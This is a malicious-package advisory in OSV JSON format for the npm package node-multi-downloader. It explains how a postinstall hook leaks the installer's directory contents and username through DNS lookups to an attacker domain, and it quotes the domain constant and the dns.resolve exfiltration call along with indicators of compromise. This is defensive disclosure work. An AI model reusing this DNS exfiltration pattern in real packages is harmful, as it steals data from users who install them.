node-multi-downloader

{"schema_version":"1.7.4","id":"MAL-2026-5735","published":"2026-06-13T07:04:03Z","modified":"2026-08-20T16:27:29.242933362Z","aliases":["GHSA-hmxh-99g9-4v4j"],"summary":"Malicious code in node-multi-downloader (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68)\nOn `npm install`, this package's postinstall hook (`node index.js`) hex-encodes the installer's current working directory, the first 15 entries of that directory, and `os.userInfo().username`, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain `uqlyosvp1f9.oob.evilsec.xyz`. The hardcoded out-of-band domain is bound at index.js line 1 (`const D = \"uqlyosvp1f9.oob.evilsec.xyz\"`) and index.js line 8 calls `dns.resolve(`${chunk}.${tag}${i}.${D}`, 'A',...)` to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description \"RSI package!\", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.\n\n## Source: ghsa-malware (c4dcda165ec9c4aeaf9717069c8a7fbbd56eb311976815127695894752de7115)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"node-multi-downloader","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["5.0.14-rc.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["2e6e706d2c6e6f64655f6d6f64756c65732c7061636b6167652d6c6f636b2e.fil0.uqlyosvp1f9.oob.evilsec.xyz","6a736f6e2c7061636b6167652e6a736f6e.fil1.uqlyosvp1f9.oob.evilsec.xyz","6c74692d646f776e6c6f61646572.cwd1.uqlyosvp1f9.oob.evilsec.xyz","696e6465782e6a732c7061636b6167652e6a736f6e.fil0.uqlyosvp1f9.oob.evilsec.xyz","7363616e.usr0.uqlyosvp1f9.oob.evilsec.xyz","2f686f6d652f7363616e.cwd0.uqlyosvp1f9.oob.evilsec.xyz"],"evidence_files":[{"path":"index.js","sha256":"3a87bc4174ea8f94807555d6841cfd778d5c6aa796a66a5ea78a2ae3721de89f","tlsh":"01f050f923f5a1f494666480c1b48d0a2273cb121173c090b81d68d6abd38f4bbe6971"}],"ips":["104.16.8.34","10.1.0.2"],"package_integrity":[{"filename":"node-multi-downloader-5.0.14-rc.3.tgz","hashes":{"sha1":"def4f059880087a00597558d8862a4171c2851b5","sha512_sri":"sha512-nRN1LlwWX0jlka6fweawaXGmfEE0UNh/zzNKCzmLEs4NdSRQKZCWVMpgL45REz8KEF1t25Pd09ZmlL4Ld0VQqg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/node-multi-downloader/v/5.0.14-rc.3"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hmxh-99g9-4v4j"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-006322","import_time":"2026-06-13T07:25:39.73129435Z","modified_time":"2026-06-13T07:04:03Z","sha256":"77464387879005e5c35e332c1b9f9826ea1af7dec30cad7d06fe1023d553f1f4","source":"amazon-inspector","versions":["5.0.14-rc.3"]},{"id":"IN-MAL-2026-006321","import_time":"2026-06-13T07:25:39.675878525Z","modified_time":"2026-06-13T07:04:03Z","sha256":"8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68","source":"amazon-inspector","versions":["5.0.14-rc.3"]},{"id":"GHSA-hmxh-99g9-4v4j","import_time":"2026-08-20T16:25:42.693378361Z","modified_time":"2026-08-20T16:15:32Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c4dcda165ec9c4aeaf9717069c8a7fbbd56eb311976815127695894752de7115","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}